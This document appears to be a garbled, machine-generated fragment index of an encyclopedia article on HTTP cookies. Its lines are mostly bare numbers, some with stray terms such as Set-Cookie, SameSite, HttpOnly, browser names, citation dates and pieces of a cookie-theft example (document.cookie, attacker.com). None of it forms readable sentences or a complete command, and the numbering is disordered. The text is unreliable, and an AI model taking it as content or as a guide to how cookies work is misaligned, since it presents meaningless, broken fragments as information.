1668:
1665:
1662:
1659:
1656:
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1471:
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1240:
1237:
1234:
1231:
1228:
1225:
1222:
1215:
1208:
1205:
1202:
1199:
1196:
1193:
1190:
1187:
1184:
1177:
1167:
1160:Setting a cookie
1133:
991:
987:
982:name/value pairs
879:
875:
871:
863:
859:
855:
850:top-level domain
831:
819:secure attribute
816:
808:
800:
796:
792:
788:
784:
773:Same-site cookie
768:
747:http-only cookie
741:Http-only cookie
736:
709:
699:tracking cookies
675:transient cookie
671:in-memory cookie
653:
646:
642:
639:
633:
610:
602:
593:
585:
581:
574:
565:Brian Behlendorf
509:application for
444:informed consent
424:Tracking cookies
312:Internet cookies
293:
286:
279:
46:
32:
21:
7564:
7563:
7559:
7558:
7557:
7555:
7554:
7553:
7519:
7518:
7517:
7512:
7481:
7407:IBM WebExplorer
7320:
7216:
7157:
7033:
6975:
6956:
6905:
6861:
6827:
6741:
6693:
6566:
6547:
6497:
6430:
6400:
6379:
6374:
6332:Cookie Stealing
6284:
6283:
6272:
6266:
6264:
6261:This audio file
6258:
6251:
6242:
6239:
6233:
6229:
6228:
6224:
6221:
6211:
6206:
6205:
6195:
6193:
6180:
6179:
6175:
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6163:
6150:
6149:
6145:
6135:
6133:
6120:
6119:
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6105:
6103:
6099:
6088:
6083:
6082:
6078:
6068:
6066:
6057:
6056:
6052:
6042:
6040:
6031:
6030:
6026:
6016:
6014:
6005:
6004:
6000:
5990:
5988:
5978:
5977:
5973:
5963:
5961:
5951:
5950:
5946:
5936:
5934:
5933:on 14 June 2011
5920:
5919:
5915:
5905:
5903:
5889:
5888:
5879:
5862:
5851:
5850:
5846:
5830:
5829:
5825:
5815:
5813:
5812:. San Francisco
5803:
5802:
5798:
5788:
5786:
5781:. p. F07.
5779:Washington Post
5772:
5771:
5767:
5757:
5755:
5742:
5741:
5737:
5727:
5725:
5717:
5716:
5712:
5676:
5675:
5671:
5661:
5659:
5651:
5650:
5646:
5637:
5635:
5625:
5590:
5589:
5585:
5562:
5531:
5530:
5526:
5516:
5514:
5509:. 24 May 2012.
5501:
5500:
5496:
5486:
5484:
5476:
5475:
5471:
5461:
5459:
5451:
5450:
5446:
5438:
5431:
5424:
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5416:
5406:
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5388:
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5316:
5280:
5279:
5275:
5236:
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5228:
5218:
5216:
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5190:
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5164:
5162:
5151:
5150:
5143:
5133:
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5122:
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5117:
5107:
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5092:
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5082:
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5068:
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5057:
5056:
5052:
5042:
5040:
5031:
5030:
5026:
5016:
5014:
5005:
5004:
5000:
4990:
4988:
4979:
4978:
4974:
4964:
4962:
4953:
4952:
4948:
4938:
4936:
4927:
4926:
4922:
4912:
4910:
4901:
4900:
4896:
4886:
4884:
4875:
4874:
4870:
4860:
4858:
4845:
4844:
4840:
4830:
4828:
4815:
4814:
4810:
4800:
4798:
4785:
4784:
4780:
4770:
4768:
4759:
4758:
4754:
4744:
4742:
4732:
4731:
4727:
4717:
4715:
4714:on 25 June 2008
4711:
4704:
4700:
4699:
4695:
4685:
4683:
4669:
4668:
4664:
4654:
4652:
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4562:
4558:
4549:
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4515:
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4510:
4481:
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4476:
4447:
4446:
4442:
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4420:
4419:
4415:
4405:
4403:
4390:
4389:
4385:
4372:
4371:
4367:
4339:
4338:
4331:
4326:
4322:
4288:
4287:
4283:
4278:Wayback Machine
4268:
4264:
4246:
4245:
4241:
4231:
4229:
4220:
4219:
4215:
4205:
4203:
4191:
4190:
4186:
4168:
4167:
4163:
4153:
4151:
4137:
4136:
4132:
4122:
4120:
4110:
4109:
4105:
4095:
4093:
4080:
4079:
4075:
4065:
4063:
4054:
4053:
4049:
4039:
4037:
4029:
4028:
4024:
4014:
4012:
4004:
4003:
3999:
3990:
3989:
3985:
3975:
3974:
3970:
3960:
3958:
3950:
3949:
3945:
3935:
3933:
3924:
3923:
3919:
3909:
3907:
3893:
3892:
3888:
3878:
3876:
3863:
3862:
3858:
3822:
3821:
3817:
3808:
3806:
3804:
3779:
3778:
3774:
3730:
3729:
3725:
3715:
3713:
3700:
3699:
3695:
3678:
3677:
3673:
3663:
3661:
3653:
3652:
3648:
3638:
3636:
3622:
3621:
3617:
3611:Wayback Machine
3600:
3596:
3586:
3584:
3571:
3570:
3566:
3545:
3544:
3537:
3530:Financial Times
3527:
3526:
3522:
3488:
3487:
3483:
3473:
3471:
3461:
3460:
3456:
3449:
3439:
3438:
3434:
3424:
3422:
3413:
3412:
3408:
3398:
3396:
3387:
3386:
3382:
3334:
3333:
3324:
3302:
3301:
3294:
3284:
3282:
3268:
3267:
3263:
3253:
3251:
3237:
3236:
3232:
3222:
3220:
3213:dominopower.com
3207:
3206:
3202:
3192:
3190:
3177:
3176:
3172:
3162:
3160:
3147:
3146:
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3130:
3121:
3120:
3116:
3106:
3104:
3090:
3089:
3082:
3069:
3068:
3064:
3059:
3031:
3024:
3019:Internet portal
3017:
3010:
3007:
2981:session cookies
2962:
2956:
2908:
2902:
2893:
2886:
2880:
2864:
2858:
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2825:
2812:
2797:
2790:
2769:
2703:
2686:
2674:
2672:JSON Web Tokens
2669:
2661:
2645:
2632:
2619:session cookies
2608:
2599:
2598:
2595:
2592:
2589:
2586:
2579:
2573:
2553:
2550:www.example.com
2549:
2545:
2542:www.example.com
2541:
2538:www.example.com
2537:
2526:
2510:
2506:
2503:document.cookie
2502:
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2487:
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2483:
2480:
2477:
2473:
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2461:
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2455:
2452:
2449:
2443:www.example.com
2442:
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2398:www.example.com
2397:
2393:
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2265:
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2247:
2231:
2216:
2205:
2199:
2196:
2181:
2169:
2165:
2128:
2124:
2117:
2029:
2018:
2012:
2009:
1966:
1964:
1958:
1954:primary sources
1942:
1931:
1895:
1889:
1843:
1839:
1835:
1831:
1827:
1824:www.example.org
1823:
1791:
1785:
1779:
1757:
1740:
1725:
1718:
1714:
1711:
1702:
1695:
1687:
1684:made_write_conn
1683:
1679:
1676:
1675:
1672:
1669:
1666:
1663:
1660:
1657:
1654:
1651:
1648:
1645:
1642:
1639:
1636:
1633:
1626:
1622:
1615:
1611:
1607:
1604:
1596:www.foo.com/bar
1595:
1591:
1587:
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1575:
1571:
1567:
1563:
1560:
1559:
1556:
1553:
1550:
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1484:
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1476:
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1465:
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1445:
1443:Domain and Path
1436:
1419:
1416:document.cookie
1415:
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1333:www.example.org
1332:
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1253:
1250:
1247:
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1241:
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1235:
1232:
1229:
1226:
1223:
1220:
1216:header fields:
1213:
1210:
1209:
1206:
1204:www.example.org
1203:
1200:
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1191:
1188:
1185:
1182:
1176:www.example.org
1175:
1165:
1162:
1131:
1102:
1078:requested page.
1059:
1053:
1032:
1030:Personalization
1012:shopping basket
1004:
999:
989:
985:
968:
960:
932:
924:Main articles:
922:
894:
877:
873:
869:
861:
857:
853:
842:
829:
814:
806:
799:SameSite=Strict
798:
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782:
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715:
687:
663:
654:
643:
637:
634:
623:
611:
600:
591:
583:
579:
572:
544:Financial Times
531:Mosaic Netscape
522:implementing a
495:
469:
452:
436:privacy concern
420:for examples).
316:browser cookies
297:
170:X-Forwarded-For
78:Request methods
28:
23:
22:
18:Tracking cookie
15:
12:
11:
5:
7562:
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7552:
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7469:
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7424:
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7414:
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6631:
6629:Microsoft Edge
6626:
6621:
6616:
6611:
6606:
6601:
6596:
6590:
6588:
6579:
6568:
6567:
6564:
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6313:
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6292:
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6259:
6252:
6240:
6223:
6222:
6220:
6219:External links
6217:
6216:
6215:
6210:
6207:
6204:
6203:
6173:
6143:
6113:
6076:
6050:
6024:
5998:
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5944:
5913:
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5844:
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5796:
5765:
5735:
5723:edpb.europa.eu
5710:
5689:(3): 353–368.
5669:
5644:
5623:
5583:
5560:
5524:
5494:
5469:
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5414:
5386:
5371:
5314:
5293:(3): 163–176.
5273:
5226:
5198:
5172:
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5115:
5098:New York Times
5085:
5076:
5050:
5024:
4998:
4972:
4946:
4920:
4894:
4868:
4838:
4808:
4778:
4752:
4725:
4693:
4670:Coles, Peter.
4662:
4632:
4598:
4556:
4542:
4508:
4474:
4440:
4425:. HTMLSource.
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713:Secure cookie
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203:403 Forbidden
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7192:MediaBrowser
7187:GreenBrowser
7068:Firefox Lite
6974:Discontinued
6518:
6426:Privacy mode
6377:Web browsers
6295:HTTP cookies
6194:. Retrieved
6185:
6176:
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6155:
6146:
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6125:
6116:
6104:. Retrieved
6097:the original
6092:
6079:
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6053:
6041:. Retrieved
6035:. gemal.dk.
6033:"BrowserSpy"
6027:
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6011:
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5974:
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5931:the original
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5895:
5858:Threat Level
5857:
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5826:
5814:. Retrieved
5809:
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4094:. Retrieved
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2707:query string
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2675:
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2653:user account
2650:
2646:
2633:
2610:
2609:
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2546:attacker.com
2527:
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2367:
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2309:
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2290:
2272:
2263:
2248:Please help
2236:
2206:
2197:
2174:
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2143:
2137:
2136:Please help
2133:
2109:
2104:
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2070:
2062:
2054:
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2034:
2019:
2013:October 2022
2010:
2000:
1993:
1986:
1979:
1967:
1947:
1907:
1900:
1896:
1893:Do Not Track
1868:Apple Safari
1856:
1852:
1848:HTTP referer
1821:
1795:
1792:
1772:
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1738:
1723:
1712:
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1561:
1508:docs.foo.com
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1409:
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1057:Web tracking
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912:to refer to
909:
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830:SameSite=Lax
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664:
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635:
624:Please help
619:verification
616:
576:header field
570:
557:mailing list
554:
542:
539:
528:
519:John Klensin
499:Lou Montulli
496:
482:magic cookie
480:
477:Lou Montulli
472:
470:
423:
422:
389:authenticate
384:
383:
359:online store
348:
319:
318:, or simply
315:
311:
307:
304:HTTP cookies
303:
302:
160:HTTP referer
144:
29:
7503:Comparisons
7462:ThunderHawk
7442:NetPositive
7382:Edge Legacy
7311:WebPositive
7276:Opera Coast
7138:Swiftweasel
6901:qutebrowser
6790:Tor Browser
6785:SlimBrowser
6586:Proprietary
6524:third-party
6476:Web storage
6471:WebAssembly
6012:How-To Geek
5937:6 September
5260:2066/253518
5108:19 February
5012:VentureBeat
4959:VentureBeat
4676:Mrcoles.com
4154:23 November
4066:18 February
3758:2117/108437
3311:: 277–389.
3285:19 February
3254:8 September
2991:Adobe Flash
2973:Web storage
2960:Web storage
2954:Web storage
2932:click fraud
2928:web traffic
2920:web browser
2813:window.name
2798:window.name
2554:example.com
2476:Click here!
2402:example.com
2328:unencrypted
1836:www.foo.com
1688:reg_fb_gate
1510:subdomain:
1466:example.org
1458:example.org
1424:temperature
1365:character (
1251:theme=light
1186:/index.html
958:Cookie wall
944:web browser
910:supercookie
902:supercookie
898:supercookie
878:example.com
874:example.com
862:example.com
846:supercookie
840:Supercookie
706:§ Uses
638:August 2011
598:Terminology
592:Set-Cookie2
584:Set-Cookie2
573:Set-Cookie2
371:form fields
344:web browser
308:web cookies
59:Compression
54:Persistence
7523:Categories
7148:Timberwolf
7143:TenFourFox
7088:Kazehakase
7078:Ghostzilla
6947:Opera Mini
6881:DuckDuckGo
6770:GNU IceCat
6514:Encryption
6466:JavaScript
6421:Extensions
6276:Audio help
6267:2016-05-28
6069:28 January
6043:28 January
5964:14 October
5838:2102.09301
5758:31 January
5662:15 October
5606:2104.06861
5543:2104.05750
5517:31 October
5344:2001.02479
5185:ico.org.uk
5165:31 October
5134:31 October
4913:7 December
4887:7 December
4448:Barth, A.
4232:1 November
4206:1 November
4201:ProPublica
3716:22 October
3441:US 5774670
3350:cs/0105018
3223:19 October
3133:19 October
3107:19 October
3057:References
2834:IP address
2828:IP address
2436:JavaScript
2382:IP address
2370:DNS server
2184:improve it
2139:improve it
1983:newspapers
1950:references
1891:See also:
1787:See also:
1745:JavaScript
1696:Set-Cookie
1667:Set-Cookie
1658:Set-Cookie
1649:Set-Cookie
1627:Set-Cookie
1548:Set-Cookie
1539:Set-Cookie
1530:Set-Cookie
1504:Set-Cookie
1426:and value
1412:JavaScript
1356:Set-Cookie
1352:Set-Cookie
1315:/spec.html
1254:Set-Cookie
1245:Set-Cookie
1214:Set-Cookie
1166:Set-Cookie
1128:JavaScript
1063:IP address
1055:See also:
1045:DuckDuckGo
940:web server
930:Evercookie
892:Other uses
761:(XST) and
751:JavaScript
588:deprecated
580:Set-Cookie
507:e-commerce
450:Background
363:logging in
328:web server
7427:Line Mode
7251:Google TV
7207:SpaceTime
7202:NetCaptor
7197:NeoPlanet
7083:IceDragon
7058:Classilla
6891:Lunascape
6886:Konqueror
6847:GNOME Web
6816:SeaMonkey
6811:Pale Moon
6775:LibreWolf
6737:ungoogled
6732:Supermium
6543:WebSocket
6502:Protocols
6481:IndexedDB
6416:Bookmarks
6397:protocols
6394:standards
6287:RFC
6232:hour and
6196:9 October
6166:9 October
6136:2 October
5991:4 January
5983:. InfoQ.
5789:4 January
5633:233231428
5578:233219491
5570:1868-4238
5381:210064317
5309:2044-3994
5269:243311598
5064:The Verge
4934:The Verge
4861:4 January
4831:4 January
4801:4 January
4771:4 January
4745:4 January
4433:4 January
4406:4 January
4257:194487945
3809:24 August
3767:0018-9219
3515:0743-9156
3474:4 January
3367:1533-5399
3183:Adage.com
2884:Web cache
2796:property
2773:web forms
2755:attacks,
2743:external
2648:cookies.
2237:does not
2188:verifying
2145:talk page
1862:that can
1576:/accounts
1566:, has no
1403:The term
1301:spec.html
1242:text/html
1178:website:
966:Structure
896:The term
852:(such as
708:, below.)
515:Vint Cerf
471:The term
410:user data
398:encrypted
375:passwords
193:302 Found
7549:Tracking
7498:Category
7452:Skweezer
7447:Netscape
7372:Deepfish
7316:xombrero
7133:Swiftfox
7063:Conkeror
7019:SalamWeb
7014:Rockmelt
6927:Ladybird
6896:NetFront
6821:Waterfox
6806:K-Meleon
6801:Basilisk
6707:Chromium
6664:Sleipnir
6409:Features
6391:Features
6278: ·
6190:Archived
6160:Archived
6130:Archived
6063:Archived
6037:Archived
5985:Archived
5958:Archived
5900:Archived
5866:cite web
5783:Archived
5752:Archived
5511:Archived
5507:Wired UK
5436:Archived
5128:Archived
5102:Archived
5043:25 April
4907:Archived
4881:Archived
4855:Archived
4825:Archived
4795:Archived
4765:Archived
4739:Archived
4680:Archived
4649:Archived
4647:. 2016.
4427:Archived
4400:Archived
4315:59524143
4274:Archived
4253:ProQuest
4249:ProQuest
4179:Archived
4117:Archived
4090:Archived
3904:Archived
3879:23 April
3873:Archived
3710:Archived
3633:Archived
3607:Archived
3587:15 March
3581:Archived
3548:RFC 2109
3468:Archived
3419:Archived
3279:Archived
3248:Archived
3217:Archived
3187:Archived
3157:Archived
3127:Archived
3101:Archived
3005:See also
2823:Tracking
2692:and the
2392:. Since
1804:tracking
1741:HttpOnly
1719:HttpOnly
1592:.foo.com
1380:through
1369:through
1145:in size.
1132:HttpOnly
1123:web page
1051:Tracking
990:HttpOnly
834:COVID-19
783:SameSite
777:In 2016
767:HttpOnly
406:attacker
355:stateful
336:browsing
330:while a
155:Location
7457:Skyfire
7412:IBrowse
7397:HotJava
7392:Gazelle
7342:Arachne
7271:OmniWeb
7261:Mercury
7241:Dolphin
7182:Deepnet
7024:Sputnik
7009:Redcore
6942:NetSurf
6760:Firefox
6679:Vivaldi
6654:Samsung
6644:Puffin
6624:Maxthon
6609:Coc Coc
6519:Cookies
6316:Cookies
6265: (
6209:Sources
6106:23 July
6093:eff.org
6017:3 April
5896:Reuters
5069:29 July
5017:25 June
4991:24 July
4965:24 July
4939:24 July
4686:28 July
4586:6914676
4096:28 July
4040:5 April
4015:5 April
3961:5 April
3936:5 April
3910:28 July
3664:8 March
3639:17 June
3375:1848140
3163:21 June
2944:entropy
2757:referer
2587:<img
2499:onclick
2465:onclick
2258:removed
2243:sources
2182:Please
2106:walls).
1997:scholar
1887:Privacy
1872:Firefox
1703:Max-Age
1692:deleted
1623:Max-Age
1608:Expires
1493:foo.com
1489:foo.com
1485:foo.com
1470:foo.com
1462:foo.com
1375:Unicode
1294:Expires
1282:Max-Age
1278:Expires
1067:referer
493:History
393:account
340:website
320:cookies
122:CONNECT
87:OPTIONS
7472:WinWAP
7467:Vision
7437:MSN TV
7432:Mosaic
7422:KidZui
7387:ELinks
7362:Charon
7352:Blazer
7291:Shiira
7281:Origyn
7224:-based
7222:WebKit
7165:-based
7163:MSHTML
7128:Strata
7108:Minimo
7103:MicroB
7073:Galeon
7053:Camino
7048:Beonex
7041:-based
6999:Citrio
6994:Beaker
6987:-based
6868:engine
6866:Multi-
6842:Safari
6835:-based
6833:WebKit
6794:Gecko
6780:Midori
6765:Floorp
6753:-based
6722:Falkon
6717:Dooble
6689:Yandex
6669:SRWare
6638:Mobile
6614:Comodo
6578:-based
6565:Active
6538:WebRTC
6491:WebGPU
6236:minute
5906:26 May
5816:6 June
5728:6 June
5638:6 June
5631:
5621:
5576:
5568:
5558:
5487:6 June
5462:6 June
5407:6 June
5379:
5369:
5307:
5267:
5219:6 June
5191:6 June
4718:11 May
4584:
4313:
4255:
3956:GitHub
3800:
3765:
3513:
3450:
3425:22 May
3399:22 May
3373:
3365:
3317:597543
3315:
3193:2 June
2918:Basic
2731:e-mail
2552:, all
2358:Secure
1999:
1992:
1985:
1978:
1972:"GDPR"
1970:
1874:, and
1818:sites.
1726:Secure
1715:Secure
1568:Domain
1477:Domain
1449:Domain
1382:\u007E
1378:\u0021
1336:Cookie
1305:Cookie
1150:domain
1115:states
1041:Google
986:Secure
858:.co.uk
787:Strict
735:Secure
473:cookie
377:, and
145:Cookie
112:DELETE
7377:Dillo
7347:Arena
7337:Amaya
7332:abaco
7325:Other
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